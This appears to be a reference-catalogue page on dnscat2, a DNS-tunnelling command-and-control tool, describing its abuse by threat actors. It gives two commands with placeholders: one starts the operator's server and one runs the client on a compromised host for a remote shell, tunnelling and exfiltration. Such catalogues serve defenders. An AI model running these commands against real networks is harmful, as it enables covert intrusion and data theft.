.. /dnscat2
Star

Access

dnscat2 is a self-hosted tool that creates an encrypted command-and-control channel over the DNS protocol, tunnelling traffic through queries (TXT, MX, CNAME, A) so it survives in networks where only DNS leaves. The operator runs the Ruby server on an authoritative domain and the compromised host runs the C client, which provides a remote shell, port forwarding and file transfer over the tunnel. Because the operator controls the authoritative name server, blocking relies on the binary and DNS-tunneling signal rather than a fixed vendor domain. It is abused for covert C2, observed with the Silence APT and the Symbiote Linux threat, among others.

Paths:

Resources:

Detections:

Access

  1. Starts the operator-controlled dnscat2 server, listening for clients tunnelling through the authoritative domain and exposing an interactive multi-session console.

    ruby dnscat2.rb <TUNNEL_DOMAIN>
    Use case
    Standing up the DNS C2 endpoint on a domain the operator controls.
    Privileges required
    User
    Operating systems
    Linux, MacOS, BSD
  2. Runs the client on a compromised host, establishing an encrypted DNS tunnel to the server for a remote shell, port forwarding or file transfer (--dns server=<ip>,port=53 dials a resolver directly).

    ./dnscat2 --secret <SECRET> <TUNNEL_DOMAIN>
    Use case
    Covert command-and-control, tunnelling and exfiltration out of a network that only permits DNS.
    Privileges required
    User
    Operating systems
    Windows, Linux, MacOS, BSD